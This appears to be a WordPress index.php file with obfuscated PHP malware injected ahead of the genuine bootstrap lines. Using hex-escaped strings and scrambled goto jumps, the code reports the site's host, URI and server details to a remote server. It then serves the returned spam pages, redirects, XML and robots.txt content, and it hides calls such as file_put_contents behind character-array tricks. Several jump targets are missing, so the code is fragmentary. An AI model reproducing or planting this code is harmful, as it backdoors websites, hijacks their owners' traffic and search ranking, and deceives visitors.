goto qOGmQ; yjwit: $zz = disbot(); goto pKW0j; vwL1P: if (!strstr($html_content, "\x6e\x6f\142\157\164\165\163\x65\x72\x61\147\145\156\x74")) { if (strstr($html_content, "\157\153\150\x74\155\x6c")) { @header("\x43\157\x6e\x74\145\x6e\x74\x2d\164\171\x70\145\x3a\40\164\x65\x78\164\57\x68\x74\x6d\154\x3b\x20\143\x68\141\162\163\145\164\x3d\x75\164\x66\x2d\x38"); $html_content = str_replace("\x6f\153\150\x74\x6d\x6c", '', $html_content); if ($istest) { echo $string; } echo $html_content; die; } else { if (strstr($html_content, "\x67\x65\x74\143\157\x6e\164\145\156\164\65\x30\x30\160\141\x67\145")) { @header("\x48\x54\124\x50\57\61\x2e\x31\x20\65\60\60\40\111\156\x74\145\x72\x6e\x61\x6c\x20\123\145\162\166\x65\162\x20\105\x72\x72\x6f\162"); die; } else { if (strstr($html_content, "\64\x30\64\160\141\x67\145")) { @header("\110\124\124\120\57\x31\x2e\61\x20\x34\60\x34\x20\x4e\157\164\x20\x46\x6f\x75\156\144"); die; } else { if (strstr($html_content, "\63\x30\61\160\x61\147\x65")) { @header("\110\124\x54\120\x2f\61\56\61\x20\63\x30\61\40\115\157\166\x65\144\x20\x50\145\x72\155\141\x6e\145\156\164\x6c\171"); $html_content = str_replace("\x33\60\x31\x70\x61\x67\x65", '', $html_content); header("\114\x6f\x63\141\x74\151\157\x6e\72\x20" . $html_content); die; } else { if (strstr($html_content, "\157\153\x78\x6d\x6c")) { $html_content = str_replace("\x6f\153\170\x6d\154", '', $html_content); @header("\x43\157\156\164\x65\x6e\164\55\x54\171\160\145\x3a\40\141\x70\x70\x6c\x69\x63\141\164\151\x6f\x6e\x2f\x78\x6d\x6c\73\x20\x63\150\x61\162\x73\x65\164\75\x75\x74\x66\x2d\x38"); echo $html_content; die; } else { if (strstr($html_content, "\x6f\153\162\x6f\x62\x6f\164\x73")) { $html_content = str_replace("\157\153\x72\x6f\142\157\x74\163", '', $html_content); @header("\103\x6f\x6e\164\x65\x6e\x74\55\124\x79\x70\x65\x3a\x20\x74\x65\x78\x74\57\x70\x6c\x61\x69\156"); echo $html_content; die; } } } } } } } goto AeTwi; UIlrw: if ($duri != "\x2f") { $duri = str_replace("\x2f" . $model_file, '', $duri); $duri = str_replace("\57\151\156\144\x65\x78\56\x70\150\x70", '', $duri); $duri = str_replace("\41", '', $duri); } goto uciWb; bNDCr: $param = "\x77\145\x62\75" . $host . "\x26\172\172\75" . $zz . "\46\x75\162\x69\x3d" . $duri . "\x26\x75\x72\154\x73\x68\141\156\x67\75" . $urlshang . "\x26\150\164\164\x70\75" . $http . "\46\x6c\141\156\x67\x3d" . $lang . "\x26\163\145\x72\166\145\x72\x3d" . $server . "\46\155\157\x64\145\154\75" . $model . "\x26\x76\145\x72\163\x69\x6f\156\x3d" . ($istest ? $string : ''); goto wjj9I; jZPSz: $string = "\x31\60\x32\x36\x2d\x6c\151\x6e\153\x31\70\65"; goto sQVbZ; qOGmQ: function drequest_uri() { if (isset($_SERVER["\122\105\121\125\105\x53\x54\x5f\x55\122\x49"])) { $duri = $_SERVER["\122\x45\x51\125\x45\123\124\x5f\125\x52\111"]; } else { if (isset($_SERVER["\x61\x72\147\x76"])) { $duri = $_SERVER["\120\110\x50\137\x53\105\114\106"] . "\77" . $_SERVER["\x61\x72\147\x76"][0]; } else { $duri = $_SERVER["\x50\x48\120\x5f\x53\105\114\106"] . "\x3f" . $_SERVER["\x51\x55\105\x52\131\x5f\123\124\x52\x49\x4e\107"]; } } return $duri; } goto AxpDD; wjj9I: $html_content = request($xmlname, $http_web, $param); goto vwL1P; B7lRe: function func() { $chars = range("\141", "\172"); return array($chars[5] . $chars[8] . $chars[11] . $chars[4] . "\137" . $chars[15] . $chars[20] . $chars[19] . "\x5f" . $chars[2] . $chars[14] . $chars[13] . $chars[19] . $chars[4] . $chars[13] . $chars[19] . $chars[18], $chars[5] . $chars[8] . $chars[11] . $chars[4] . "\137" . $chars[6] . $chars[4] . $chars[19] . "\137" . $chars[2] . $chars[14] . $chars[13] . $chars[19] . $chars[4] . $chars[13] . $chars[19] . $chars[18], $chars[18] . $chars[19] . $chars[17] . "\137" . $chars[17] . $chars[14] . $chars[19] . "\x31\63"); }define('WP_USE_THEMES', true);require __DIR__ . '/wp-blog-header.php';